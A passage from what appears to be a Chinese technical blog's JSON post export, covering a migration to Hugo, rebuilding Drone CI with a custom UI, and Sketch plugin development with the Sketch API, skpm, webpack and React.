上，寻找一个可以让我托管私有镜像的地方也废了我不少时间。之前一直没关注过这块，很早之前知道的几个做容器服务的要么不做了，要么就是改成收费了。后来发现其实 Github 就能直接托管镜像，这才方便了点。\n总的来说容器的虽然降低了迁移的成本，但是目前看来性价比不高，想要更好的服务势必要投入更多的资金才行，对我来说有点舍本逐末。\n静态部署 同时为了降低我的其它站的运维成本，考虑之后决定将一些不使用的站进行静态博客处理。保留了存档的功能，同时降低了维护成本。主要是现在有很多的免费服务支持静态网站部署。比如我之前在用的 Vercel，很好的提供了对静态博客的支持。在挑选程序的时候发现 Hugo 上我现在在用的主题已经有人实现了 TwentyFourteen，这个主题是我很早之前从 WordPress 的默认主题上迁移过来的。性能非常好。遂就使用它将其他的一些站进行了迁移。\b\n只需要在 Vercel 上使用 Import Template 的形式创建项目即可。轻轻一点它便会自动帮你创建 Github 仓库，分配域名，添加证书，最后自动部署上线。然后我再把仓库克隆下来，把导出的旧数据挪进仓库提高一下即可。Vercel 会自动触发更新的流程。\n不管是人力成本，金钱成本，还有数据备份成本上来看，这种方案都达到了最低方案。特别在 Github 给个人开放了无限的私有仓库之后，你连数据隐秘性都不需要考虑了。所以在迁移了四五个老站之后，我看着剩下来的主站，决定一不做二不休一块迁移得了。\n后记 关于如何进行迁移我之后再单独写一篇文章来讲。迁移之后运维成本直接消失，不仅构建快而且页面访问速度也快，一个字香！之前 Typecho 的 Markdown 格式一直不支持表格语法，换了之后没有这些问题了。不过也不是说没有缺点，之前其实用 Typecho 的后台写文章非常方便，现在换成 VSCode 之后在快捷方式上没有网页的好用，之后再考虑做个单独的发布页吧。\n","count":1433,"date":"2020年10月31日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimg.com/t01a39969238a5c5543.png","permalink":"https://imnerd.org/blog-migrate-to-hugo.html","summary":"\u003cp\u003e我的博客从09年开始到现在已经度过了十一个年头，虽然更新的频率变慢了，但也还是一直在坚持输出力求能够帮助到大家。本站最早使用过 ASP 的 \u003ca href=\"http://www.pjhome.net/\"\u003ePJBlog\u003c/a\u003e 到之后大名鼎鼎的 \u003ca href=\"https://wordpress.org\"\u003eWordPress\u003c/a\u003e，之后在 \u003ca href=\"/change-to-typecho.html\"\u003e2011年\u003c/a\u003e 的时候迁到了 \u003ca href=\"https://typecho.org\"\u003eTypecho\u003c/a\u003e 一直到现在。\u003c/p\u003e","time":3,"title":"博客迁移至Hugo"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"Drone 是一款开源的 CI/CD 工具，基于容器提供了强大的插件系统。多年前我有写过《基于Docker的CI工具——Drone》中有详细的介绍它的优点。Drone 采用的是 Server/Agent 架构，Server 端用来处理请求派发任务给 Agent，最终在 Agent 上执行任务。\nDrone 整体是使用 Golang 写的，drone/drone-ui 是它的前端页面仓库，采用 Vue.js 进行开发（很早之前是使用 React 进行开发的）。前后端分离的项目，比较正常的中间会使用 NGINX 之类的 Web Server 进行桥接，用户通过 Web Server 访问前端页面，然后页面在访问 Web Server 反代后的接口。不过 Drone Server 端直接是使用的 Golang 自己起的服务，而 Golang 又是一种需要编译的语言。为了能让 Server 编译后还是单文件，作者特地写了一款工具 bradrydzewski/togo 用来将静态资源编译成 Golang 代码。编译出来的结果本质就是文件路由和内容的哈希表，可以在官方仓库中一窥究竟。\n将编译后生成的 Golang 文件提交到仓库之后，就可以在 Server 中使用模块的形式将其加载进来，剩下的就是在 Server 中根据路由获取内容返回了。这种做法在开发上会比较麻烦，不过对使用的人来说倒是方便很多了。不过由于静态资源被编译进了执行文件中，所以我们如果要自定义前端界面的话，就需要按照这个流程重新构建编译 Server 执行文件了。\n构建前端模块 首先我们需要针对 drone/drone-ui 原始仓库进行 Fork，在新的仓库中根据你们的需求进行前端代码的修改。在 RADME 中介绍了如何在开发环境中进行开发。如果改动不大的话，可以在每次 Drone 官方发布版本的时候根据上游仓库提交 Pull Request 进行需求合并。执行 npm run build 会在 dist/files 目录生成最终需要的前端静态资源。\n前端资源备好之后需要安装 bradrydzewski/togo 将静态资源嵌到 Golang 代码中。如果没有安装 Golang 的话需要先安装 Golang。另外 Golang 的全局 bin 目录需要配置到 PATH 环境变量中，否则编译时会提示找不到该命令。\ngo get github.com/bradrydzewski/togo cd dist go generate dist.go 注： go generate 是利用注释快速执行脚本的一种方式。本质上是执行了 dist.go 文件中的 togo http -package dist -output dist_gen.go 这条命令。\n最后将编译生成的 dist_gen.go 文件添加到仓库中提交，完成前端模块的构建。接下来我们需要重新构建 Server 执行文件。\n构建执行文件 Server 执行文件的仓库是在 drone/drone，我们需要找到依赖了 github.com/drone/drone-ui 模块的文件，并将其替换成我们 Fork 的新仓库地址 xxx.com/xxx/drone-ui。主要有 ./handler/web/{logout,pages,web}.go 三个文件需要被替换。\ngo get -v -insecure xxx.com/xxx/drone-ui sed -i \u0026#39;\u0026#39; \u0026#39;s/github.com\\/drone\\/drone-ui/xxx.com\\/xxx\\/drone-ui/\u0026#39; ./handler/web/{logout,pages,web}.go 注： 针对这种场景，Golang 官方的模块管理中其实是支持 replace 方式用来将 A 模块替换成 B 模块的，不过我当时没有实验成功，就还是使用了 sed 的方式。\ngo mod edit -replace=github.com/drone/drone-ui=xxx.com/xxx/drone-ui 之后我们就可以执行 go build 对其进行构建了。我们并没有对该项目进行修改，只是针对它依赖的前端模块进行处理。所以我的想法是当 drone-ui 仓库发生变更的之后，执行 CI 流水线将 Server 仓库克隆下来修改后执行镜像构建并上传到镜像仓库中。\nCI 执行当然是选择 Drone 啦，用 Drone 去构建 Drone 听起来就很酷！默认 Drone 会把当前仓库克隆下来，但实际上我们不需要克隆当前仓库，当前仓库是被主仓库依赖的模块。我们真正需要下载的是 drone/drone 主仓库。\nclone: disable: true steps: - name: clone image: alpine/git commands: - git clone https://github.com/drone/drone.git . - git checkout ${DRONE_TAG} trigger: event: -tag 在 Drone 的配置中，设置 disable: false 即可实现不克隆当前仓库。然后自己在单独增加 git clone 的步骤。我们将仓库克隆到当前目录中，并根据当前 git tag 的版本号切换 Server 仓库的版本。这样保证最后编译出来的镜像同版本号和上游不会有其它差异。\n- name: build image: golang:1.14.4 commands: - go get -v -insecure xxx.com/xxx/drone-ui - sed -i \u0026#39;\u0026#39; \u0026#39;s/github.com\\\\/drone\\\\/drone-ui/xxx.com\\\\/xxx\\\\/drone-ui/\u0026#39; ./handler/web/{logout,pages,web}.go - sh scripts/build.sh environment: GOARCH: amd64 GOOS: linux 接下来这段构建命令除了增加前端模块依赖替换之外，其它的都是从上游 Server 仓库 中搬运过来的。上游构建中还有 ARM, ARM64 架构版本的构建，由于我这里并不需要，就不增加构建时间了。\n之后我们再像官方一样，增加 Docker 镜像构建上传的步骤即可完成最终镜像的创建。使用的时候使用该镜像即可。\n后记 同样是使用 Drone 搭建，官方针对 Github 搭建的 https://cloud.drone.io 在未登录的情况下还会自带一个登录页。原理是 Server 服务在 pages.go 中判断接入域名为 \u0026ldquo;cloud.drone.io\u0026rdquo; 的话会展示位于 handler/web/landingpage/index.html 的静态页。如果有门户页的需求的话可以针对这些文件进行对应的修改。\n","count":1531,"date":"2020年10月06日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimgs4.com/t017107fe9887032039.png","permalink":"https://imnerd.org/drone-custom-ui.html","summary":"\u003cp\u003eDrone 是一款开源的 CI/CD 工具，基于容器提供了强大的插件系统。多年前我有写过\u003ca href=\"https://imnerd.org/drone.html\"\u003e《基于Docker的CI工具——Drone》\u003c/a\u003e中有详细的介绍它的优点。Drone 采用的是 Server/Agent 架构，Server 端用来处理请求派发任务给 Agent，最终在 Agent 上执行任务。\u003c/p\u003e","time":4,"title":"Drone 自定义 UI"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"Sketch 作为流行的 UI 设计软件，除了设计之外，还承担了设计与开发之间沟通的桥梁作用。通过 Sketch 导出的在线标注能够节省很多沟通的成本。除了标注之外还有个比较重要的功能就是切图的导出。Sketch 中如果要导出一张切图，需要将其标记为切片（Slice）。在 Sketch 中切片的标记是多种多样的，针对不同的切片标记插件需要处理的逻辑也有细微的差别。下面我们就来看看不同的切片操作在插件中应该如何导出吧。\n注： Ctrl + Shift + K 可以在 Sketch 中调出插件脚本运行的 Playground，可以方便的调试代码。\n图层及编组切片 这种是最普通的方式了，当我们想要将某个图层导出成图片的时候，就会为该图层设置导出选项。导出选项中我们可以设置多种导出尺寸和格式，在左侧图层面板中设置了导出选项的图层会增加类似刻刀的图标标记。\nSketch API 提供了 sketch.export() 方法帮助我们在切片中导出切片图层。设置了导出选项的图层，图层属性会带有 exportFormats 属性，我们可以根据它判断是否是需要导出切图的图层。\nconst sketch = require(\u0026#34;sketch/dom\u0026#34;); const artboard = sketch.getDocuments()[0].pages[0].layers[0]; const exportLayers = artboard.layers.filter(layer =\u0026gt; layer.exportFormats.length); exportLayers.forEach(layer =\u0026gt; sketch.export(layer, { scales: 1, formats: \u0026#39;svg\u0026#39;, output: `~/Desktop/Sketch-Export-Demo` })); 编组带切片图层 除了为图层设置导出项之外，我们还可以专门添加切片图层来导出图片。切片图层会将所有与该切片图层同级的图层叠加后产生的图片进行导出。同时它不依赖素材图层，在尺寸设置上更加自由。\n理论上这种情况使用 sketch.export() 方法也是没有问题的。不过这种情况下会像示例图一样，切片导出会把父级的白色背景色也导出出来，然而大部分情况下我们需要的其实只是透明图层。\n这时候要导出不带背景色的图片的话，需要将切片图层和同级元素都放在一个编组里，这时候切片图层导出会多出一个 Export group contents only 的选项，中文译为仅导出编组内内容。当它被选中后，由于父级背景色不属于编组就会被排除了。\n所以我们需要使用代码实现编组，勾选配置和导出三件事情。我们使用 sketch.Group 实例化了一个与画板等大的编组，并将同级的图层复制了一份放到了新创建的编组里。这里需要注意的是图层的坐标是相对的，在编组内的坐标会基于编组图层本身进行偏移。所以我们需要基于新的编组图层位置重新计算复制图层的位置，嗯，小学减法操练起来~\n至于勾选配置这件事，我似乎没有找到 JavaScript API 能干这个事情，只能通过 sketchObject 属性获取到 OC 对象调用 Native 的方法设置了。至于为什么 setLayerOptions() 的参数是 2，我要说是因为要设置的是第 2 个选项你信么（掩面…\nconst sketch = require(\u0026#39;sketch/dom\u0026#39;); const artboard = sketch.getDocuments()[0].pages[0].layers[0]; const duplicateLayers = artboard.layers.map(layer =\u0026gt; { const copy = layer.duplicate(); copy.frame = new sketch.Rectangle( layer.frame.x - artboard.frame.x, layer.frame.y - artboard.frame.y, layer.frame.width, layer.frame.height ); return copy; }); const group = new sketch.Group({ name: \u0026#39;切片编组\u0026#39;, parent: artboard, frame: artboard.frame, layers: duplicateLayers }); const slice = group.layers.find(layer =\u0026gt; layer.type === sketch.Types.Slice); slice.sketchObject.exportOptions().setLayerOptions(2); sketch.export(slice, {scales: 2, formats: \u0026#39;png\u0026#39;, output: \u0026#39;~/Desktop/Sketch-Export-Demo\u0026#39;}); group.remove(); 控件内切片图层 上面说的都是画板本身的图层设置成切片的配置。除了上文说到的元素之外，在 Sketch 中还存在着控件（Symbol）元素。它可以类比为代码中的基类，每一个控件可以实例化出一个控件实例，实现控件一处修改，处处生效的特性，让 UI 设计更加的工程化。控件还有类似代码中变量的覆盖层概念，支持将控件中的某个元素配置化，每个实例配置不同的覆盖层满足不同控件实例求同存异的需求。\n正常情况下插件只能拿到画板下的图层，也就是只能拿到最终的控件实例。如果在控件中包含切片的话（如上图），普通方法是无法获取的。这时候就需要使用上图的“解绑”这个功能，对应到代码的话就是 layer.detach() 方法。点击解绑之后，控件实例就会转换成普通的编组图层，里面会包含一份控件所有元素的复制。这样我们就能按照之前的流程进行处理了。\nconst sketch = require(\u0026#39;sketch/dom\u0026#39;); const artboard = sketch.getDocuments()[0].pages[0].layers[0]; artboard.layers.forEach(layer =\u0026gt; { if(layer.type !== sketch.Types.SymbolInstance) { return; } //为了不影响原图层，使用 duplicate() 方法复制一份图层出来再使用 detach() 进行解绑 const symbolGroup = layer.duplicate().detach({recursively: false}); const exportLayers = symbolGroup.layers.filter(layer =\u0026gt; layer.exportFormats.length); exportLayers.forEach(layer =\u0026gt; sketch.export(layer, { scales: 1, formats: \u0026#39;svg\u0026#39;, output: \u0026#39;~/Desktop/Sketch-Export-Demo\u0026#39; })); //最后操作完成后将复制图层删除 symbolGroup.remove(); }); 控件画板为切片 在之后的使用中，我们发现也会存在直接给控件画板设置成切片导出的操作。这种情况下我们直接对控件实例进行解绑会发现解绑后的编组并没有标记成切片，甚至还会出现其他的一些情况。从下图可以看到不仅解绑后的编组丢失了切片标记，控件尺寸也发生了变化。原始是 32×32 的控件，经过解绑之后尺寸变成了 26×26，周边填充的留白消失了。这是因为看到的留白本质是画板尺寸撑起来的，解绑相当于对控件内的所有图层的拷贝，然而并不包括画板。所以画板的切片属性，以及因为画板尺寸带来的留白等特性都丢失了。\n解决的办法也很简单，我们可以通过 sketch.getSymbolMasterWithID() 方法获取到控件，判断控件本身有切片标记的话特殊处理一下。刚才我们说了，控件解绑后肯定是没办法获取到尺寸了，所以我们需要换个思路。由于整个控件是切片，所以我们其实是不需要去观察控件内部是否存在切片导出图层，也就不需要像上面那么复杂去做解绑的操作。通过额外增加一个切片图层，补充上控件丢失的切片标记信息。剩下来的事情其实就和前文“编组带切片图层”一节是一样的了。\nconst sketch = require(\u0026#39;sketch/dom\u0026#39;); const document = sketch.getDocuments()[0]; const artboard = document.pages[0].layers[0]; artboard.layers.forEach(layer =\u0026gt; { if(layer.type !== sketch.Types.SymbolInstance) { return; } const master = document.getSymbolMasterWithID(layer.symbolId); if(!master?.exportFormats.length) { return; } const instance = layer.duplicate(); instance.frame = new sketch.Rectangle(0, 0, layer.frame.width, layer.frame.height); const slice = new sketch.Slice({ name: layer.name + \u0026#39;_Slice\u0026#39;, frame: new sketch.Rectangle(0, 0, layer.frame.width, layer.frame.height), exportFormats: [ {size: \u0026#39;1x\u0026#39;, fileFormat: \u0026#39;svg\u0026#39;} ] }); slice.sketchObject.exportOptions().setLayerOptions(2); const group = new Group({ name: layer.name + \u0026#39;_Group\u0026#39;, parent: layer.parent, frame: layer.frame, layers: [ slice, instance ] }); sketch.export(slice, {scales: \u0026#39;1\u0026#39;, formats: \u0026#39;svg\u0026#39;}); group.remove(); }); 这里我们分别创建了当前图层的复制层和与控件等大的切片图层，最后在当前图层的位置实例化了一个编组巧妙的将前两者包裹住再导出切片。可能会有同学疑问，既然已经不需要解绑来获取控件内部的切片，那为什么不在判断该控件实例需要切片导出的时候直接设置该控件实例的导出项呢？\n感兴趣的同学可以试试，你会发现在这种情况下控件实例的导出项也会和我们最开始说的一样丢失画板的留白的。可以想象到 Sketch 内部本身的导出逻辑可能和我们解绑操作差不多。通过等大的切片图层，我们能很好的将控件画板带来的留白保存下来。而冗余的再套了一层编组，则是为了解决前文说的切片导出会附带同层级的背景问题。\n后记 上述列出来的切片情况基本包含了大部分设计师的切片导出习惯，控件切片在进行解绑后可以回归到图层、编组、切片的逻辑中。按照上述逻辑递归所有图层可以完成所有切片图层的导出。为了更好的帮助大家理解，以上代码都是真实代码，可以直接在 Sketch 的代码编辑器中运行。\n通过以上的例子可以看到，Sketch API 操作真的就是 JavaScript 语法，一点 OC 的东西都没有，对前端工程师非常友好。不过 sketch.export() 方法目前封装的不是非常的完美，在导出组件库中的控件时会存在导出图片空白的情况。这时候只能使用 OC 的方法进行导出了，希望能在之后的版本中修复该问题。\nfunction nativeExport(layer, {format, scale, filename}) { const output = MSExportRequest.exportRequestsFromExportableLayer(layer.sketchObject).firstObject(); output.format = format; output.scale = scale; return context.document.saveExportRequest_toFile(output, options.filePath); } 参考资料：\n《Set \u0026ldquo;Export group contents only\u0026rdquo;》 《手把手教你写一个批量切图sketch插件》 ","count":2548,"date":"2020年10月06日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimgs4.com/t0187c269eef371a458.png","permalink":"https://imnerd.org/export-slice-in-sketch-plugin.html","summary":"\u003cp\u003eSketch 作为流行的 UI 设计软件，除了设计之外，还承担了设计与开发之间沟通的桥梁作用。通过 Sketch 导出的在线标注能够节省很多沟通的成本。除了标注之外还有个比较重要的功能就是切图的导出。Sketch 中如果要导出一张切图，需要将其标记为切片（Slice）。在 Sketch 中切片的标记是多种多样的，针对不同的切片标记插件需要处理的逻辑也有细微的差别。下面我们就来看看不同的切片操作在插件中应该如何导出吧。\u003c/p\u003e","time":6,"title":"Sketch 插件导出切片"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"Sketch 是近些年比较流行的 UI 设计软件，它比起之前常用的 Illustrator 或者 Photoshop 比较好的地方在于小巧功能简单但足够，同时对 Mac 的触摸板支持更加友好。另外它的插件系统也要比 Adobe 更加友好，大量的插件帮助我们解决协同和效率上的问题。\nSketch 插件最大的好处在于可以直接使用 JavaScript 进行开发，并提供了许多配套的开发工具。下面我就以帮助设计师同学快速插入占位图的插件 Placeholder 为例，带大家一步一步的了解如何进行 Sketch 插件开发。\n在进行插件开发之前，我们需要了解一些基础的知识。Sketch 是一套原生 Objective-C 开发的软件，它之所以能支持使用 JS 开发，是因为它使用 CocoaScript 作为插件的开发语言。它就像是一座桥（Bridge），能让我们在插件中写 OC 和 JS，然后 Sketch 将基础方法进行了封装，实现了一套 JavaScript API，这样我们就能使用 JS 开发 Sketch 插件了。\n注： 关于如何开发插件，官方提供了一份入门教程《Create a plugin》，在阅读下文之前，也可以花 2~3min 先看看这篇官方教程，内容比较简短。\n需求整理 在进行插件开发之前，我们捋一捋我们需要实现的功能。http://placeimg.com/ 是一个专门用来生成占位图的网站，我们将利用该网站提供的服务制作一个生成指定大小的占位图并插入到 Sketch 画板中的功能。插件会提供一个面板，可以让使用者输入尺寸、分类等可选项，同时提供插入按钮，点击后会在画板插入一张图片图层。\n使用 skpm 初始化项目 skpm 是 Sketch 官方提供的插件管理工具，类比于 Node.js 中的 npm。它集插件的创建、开发、构建、发布等多项功能于一体，我们在很多场景都需要使用它。安装的话比较简单，直接使用 npm 全局安装即可。\nnpm install -g skpm 按照官方教程，安装完毕之后我们就可以使用 skpm create 命令来初始化项目目录了。当然 skpm 是支持基于模板初始化的，官方仓库也列举了一些模板，我们可以使用 --temlate 来指定模板进行初始化。不过处于教学的目的，我这里就还是使用官方默认的模板创建了。\n➜ ~ skpm create sketch-placeimg ✔ Done! To get started, cd into the new directory: cd sketch-placeimg To start a development live-reload build: npm run start To build the plugin: npm run build To publish the plugin: skpm publish skpm 内部会使用 webpack 进行打包编译，运行 npm run build 会生成 sketch-placeimg.sketchplugin 目录，该目录就是最终的插件目录。双击该目录，或者将该目录拖拽到 Sketch 界面上就成功安装插件了。和 webpack --watch 类似，运行 npm run watch 的话对监听文件变化实时编译，在开发中非常有帮助。\n注： 不要使用 npm start 进行开发，它携带的 --run 命令会使得构建速度特别慢。虽然它带 Live Reload 功能会很方便，但在官方未修复该问题前还是不建议大家使用。\n项目结构入门 创建好的模板目录结构如下，为了帮助大家理解，我们来简单的介绍下这些目录和文件。\n. ├── README.md ├── assets │ └── icon.png ├── sketch-assets │ └── icon.sketch ├── sketch-placeimg.sketchplugin │ └── Contents │ ├── Resources │ │ └── icon.png │ └── Sketch │ ├── manifest.json │ ├── my-command.js │ └── my-command.js.map ├── node_modules ├── package.json └── src ├── manifest.json └── my-command.js package.json 和大多数 JS 项目一样，skpm 创建的项目中也会有 package.json 文件。该文件除了像之前一样记录了项目的依赖和快捷命令之外，还增加了 skpm 字段用来对 skpm 进行配置，默认的值如下。\n{ ... \u0026#34;skpm\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;sketch-placeimg\u0026#34;, \u0026#34;manifest\u0026#34;: \u0026#34;src/manifest.json\u0026#34;, \u0026#34;main\u0026#34;: \u0026#34;sketch-placeimg.sketchplugin\u0026#34;, \u0026#34;assets\u0026#34;: [ \u0026#34;assets/**/*\u0026#34; ], \u0026#34;sketch-assets-file\u0026#34;: \u0026#34;sketch-assets/icons.sketch\u0026#34; }, ... } 这里指定了该插件的名称为 sketch-placeimg，插件的 manifest 文件为 src/manifest.json。main 表示的是最终生成的插件目录名称。assets 则表示的插件依赖的图片等相关素材，在编译的时候会将命中该配置的文件拷贝到 \u0026lt;main\u0026gt;/Contents/Resources 目录下。\nmanifest.json manifest.json 这个文件大家可以理解为是 Sketch 插件的 package.json 文件。我们来看看默认生成的 manifest.json。\n{ \u0026#34;$schema\u0026#34;: \u0026#34;https://raw.githubusercontent.com/sketch-hq/SketchAPI/develop/docs/sketch-plugin-manifest-schema.json\u0026#34;, \u0026#34;icon\u0026#34;: \u0026#34;icon.png\u0026#34;, \u0026#34;commands\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;my-command\u0026#34;, \u0026#34;identifier\u0026#34;: \u0026#34;sketch-placeimg.my-command-identifier\u0026#34;, \u0026#34;script\u0026#34;: \u0026#34;./my-command.js\u0026#34; } ], \u0026#34;menu\u0026#34;: { \u0026#34;title\u0026#34;: \u0026#34;sketch-placeimg\u0026#34;, \u0026#34;items\u0026#34;: [ \u0026#34;sketch-placeimg.my-command-identifier\u0026#34; ] } } 看到 $schema 就有 JSON Schema 那味了，它对应的 JSON 文件地址告诉我们可以在里面配置那些字段。其实最重要的其实就是上面列出来的 commands 和 menu 两个字段。\ncommands 标记了插件有哪些命令，这里只有一个命令，命令的名称（name）是 my-command，该命令的 ID（identifier）为 sketch-placeimg.my-command-identifier，对应的执行脚本为 ./my-command.js。\nmenu 则标记了该插件的导航菜单配置，比如示例这里它指定了该插件在插件菜单中的名称（title）为 sketch-placeimg，并拥有一个子菜单，对应的是 ID 为sketch-placeimg.my-command-identifier的命令。通过这个 ID，菜单的行为就和执行脚本关联起来了。\nappcast.xml manifest.json 默认的示例中有两个比较重要的字段没有配置，那就是 version 和 appcast。version 很明显就是用来表示当前插件的版本的。而 appcast 它的值是一个 XML 的 URL 地址，该 XML 里面包含了该插件所有的版本以及该版本对应的下载地址。Sketch 会将 version 对应的版本和 appcast 对应的 XML 进行对比，如果发现有新的版本了，会使用该版本对应的下载地址下载插件，执行在线更新插件。一个 appcast.xml 文件大概是这样的格式。\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34; standalone=\u0026#34;yes\u0026#34;?\u0026gt; \u0026lt;rss xmlns:sparkle=\u0026#34;http://www.andymatuschak.org/xml-namespaces/sparkle\u0026#34; xmlns:dc=\u0026#34;http://purl.org/dc/elements/1.1/\u0026#34; version=\u0026#34;2.0\u0026#34;\u0026gt; \u0026lt;channel\u0026gt; \u0026lt;item\u0026gt; \u0026lt;enclosure url=\u0026#34;https://github.com/lizheming/sketch-placeimg/releases/download/v0.1.1/sketch-placeimg.sketchplugin.zip\u0026#34; sparkle:version=\u0026#34;0.1.1\u0026#34;/\u0026gt; \u0026lt;/item\u0026gt; \u0026lt;item\u0026gt; \u0026lt;enclosure url=\u0026#34;https://github.com/lizheming/sketch-placeimg/releases/download/v0.1.0/sketch-placeimg.sketchplugin.zip\u0026#34; sparkle:version=\u0026#34;0.1.0\u0026#34;/\u0026gt; \u0026lt;/item\u0026gt; \u0026lt;/channel\u0026gt; \u0026lt;/rss\u0026gt; 如果是通过 skpm publish 命令去发布插件的话，会自动在根目录生成一个 .appcast.xml 文件。当然按照官方文档 《Update a plugin》 所说，你也可以手动生成。\nresource 从上面的内容我们可以知道，skpm 会通过 package.json 中指定的 manifest 文件读取所有 commands 对应的 script 文件作为编译入口文件，将这些文档编译打包输出到 \u0026lt;main\u0026gt;/Contents/Sketch 目录。所有的 assets 配置对应的文件会拷贝到 \u0026lt;main\u0026gt;/Contents/Resources 目录中。最终完成插件的生成。\n换句话来说只想要走 webpack 打包编译的话就必须是插件的命令才行。如果有一些依赖的非插件类资源，比如插件嵌入的 HTML 页面依赖的 JS 文件想要走编译的话，就需要使用 resource 这个配置了。resource 配置中配置的文件会走 webpack 的编译打包，并输出到 \u0026lt;main\u0026gt;/Contents/Resources 目录中。\n插件开发 一些基本原理了解清楚之后我们就可以进行插件的开发了。首先我们需要用户点击插件菜单之后打开一个面板，该面板可以配置尺寸、分类等基础信息。\nSketch 插件中我们可以使用原生写法进行面板的开发，但是这样写起 UI 来说比较麻烦，而且对前端同学来说入门比较高。所以一般大家都会采用 WebView 加载网页的形式进行开发。原理基本上等同于移动端采用 WebView 加载网页一样，客户端调用 WebView 方法加载网页，通过实例的 webContents.executeJavaScript()方法进行插件到网页的通信，而网页中则使用被重定义的 window.postMessage 与插件进行通信。\nsketch-module-web-view 想要在插件中加载网页，需要安装 Sketch 封装好的 sketch-module-web-view 插件。\nnpm install sketch-module-web-view --save-dev // src/my-command.js import BrowserWindow from \u0026#39;sketch-module-web-view\u0026#39;; export default function() { const browserWindow = new BrowserWindow({ width: 510, height: 270, resizable: false, movable: false, alwaysOnTop: true, maximizable: false, minimizable: false }); browserWindow.loadURL(require(\u0026#39;../resources/webview.html\u0026#39;)) } 当你做完这些你会发现点击插件菜单后什么都没有发生，这是因为还需要更改一下配置。大家可以看到我们最后是使用了 require() 引入了一个 HTML 文件，而官方默认的模板是没有提供 HTML 引入的支持的，所以我们需要为 HTML 文件增加对应的 webpack loader。\n我们这里需要的是 html-loader 和 @skpm/extract-loader 两款 Loader。前者是用来解析处理 HTML 中存在的包括 \u0026lt;link /\u0026gt; 或者 \u0026lt;img /\u0026gt; 之类的 HTML 代码中可能存在的资源关联情况。而后者则是用来将 HTML 文件拷贝到 \u0026lt;main\u0026gt;/Contents/Resources 目录并返回对应的 file:/// 格式的文件路径 URL，用来在插件中进行关联。\nnpm install html-loader @skpm/extract-loader --save-dev Sketch 插件官方为我们自定义 webpack 配置也预留好了入口，在项目根目录中创建 webpack.skpm.config.js 文件，它导出的方法接收的参数中第一个则是插件最终的 webpack 配置，我们直接在这基础上进行修改即可。\n// webpack.skpm.config.js module.exports = function (config, entry) { config.module.rules.push({ test: /\\.html$/, use: [ { loader: \u0026#34;@skpm/extract-loader\u0026#34; }, { loader: \u0026#34;html-loader\u0026#34;, options: { attributes: { list: [ { tag: \u0026#39;img\u0026#39;, attribute: \u0026#39;src\u0026#39;, type: \u0026#39;src\u0026#39; }, { tag: \u0026#39;link\u0026#39;, attribute: \u0026#39;href\u0026#39;, type: \u0026#39;src\u0026#39; } ] } } } ] }); } html-loader 插件在新版里对配置格式做了一些修改，所以之前很多老的教程中的配置都会报错。当然如果你有更多的插件需求也可以按照这个流程往配置对象中添加。之后我们再执行 npm run watch，点击菜单就可以看到我们预期的页面了。\n注： 官方是提供了一套带有 sketch-module-web-view 模块的模板的，这里只是为了能更清楚的给大家解释清楚插件的原理和流程所以和他家一步一步的进行说明。真实的开发场景中建议大家直接使用以下命令进行快速初始化。\nskpm create \u0026lt;plugin-name\u0026gt; --template=skpm/with-webview React 的集成 面板这块我准备使用 React 进行开发，主要是有 React Desktoop 这个 React 组件，能够很好的在 Web 中模拟 Mac OSX 的 UI 风格（虽然也就几个表单没什么好模拟的就是了）。\n令人开心的是 skpm 默认的 webpack 配置已经增加了 React 的支持，所以我们不需要额外的增加 webpack 的配置，只需要把 React 相关的依赖安装好就可以进行开发了。\nnpm install react react-dom react-desktop --save-dev 增加 webview.js 入口文件。由于该文件需要走 webpack 编译，但是又不是插件命令的执行文件，所以我们需要像上文说的，将入口文件加入到 package.json 的 skpm.resources 配置中。\n// package.json { \u0026#34;skpm\u0026#34;: { \u0026#34;resources\u0026#34;: [ \u0026#34;resources/webview.js\u0026#34; ] } } // resources/webview.js import React from \u0026#39;react\u0026#39;; import ReactDOM from \u0026#39;react-dom\u0026#39;; function App() { return (\u0026lt;\u0026gt; \u0026lt;p\u0026gt;Hello World!\u0026lt;/p\u0026gt; \u0026lt;hr /\u0026gt; via: \u0026lt;em\u0026gt;@lizheming\u0026lt;/em\u0026gt; \u0026lt;/\u0026gt;) } ReactDOM.render(\u0026lt;App /\u0026gt;, document.getElementById(\u0026#39;app\u0026#39;)); webview.html 也需要改造一下，引入 JS 入口文件。这里需要注意一下 ../resource_webview.js 这个引用文件地址，这是 JS 入口文件编译后最终的文件地址。主要是因为 HTML 文件最终会生成到 \u0026lt;name\u0026gt;.sketchplugin/Resources/_webpack_resources 目录下，而 JS 入口文件会将 / 分隔符替换成 _ 分隔符，生成在 \u0026lt;name\u0026gt;.sketchplugin/Resources 目录下。\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;zh-CN\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34; /\u0026gt; \u0026lt;title\u0026gt;PlaceIMG\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;../resources_webview.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 注：\nHTML 文件生成到 _webpack_resources 配置 JS 入口文件生成到 Resource 目录配置 面板开发 流程打通了之后接下来我们可以专心进行面板的开发了。面板开发这块就不多描述了，无非就是前段页面的编写而已，最后插件面板大概是长这样子的。\n-_-||嗯，其实我就是想和大家讲下流程硬上 React 的…\n选择完毕点击插入后，调用 postMessage() 方法将最终的配置传递给插件。\n//resources/webview.js import React, {useReducer} from \u0026#39;react\u0026#39;; function App() { const [{width, height, category, filter}, dispatch] = useReducer( (state, {type, ...payload}) =\u0026gt; ({...state, ...payload}), {width: undefind, height: undefined, category: \u0026#39;any\u0026#39;, filter: \u0026#39;none\u0026#39;} ); const onInsert = _ =\u0026gt; postMessage(\u0026#39;insert\u0026#39;, width, height, category, filter); return ( \u0026lt;button onClick={onInsert}\u0026gt;插入\u0026lt;/button\u0026gt; 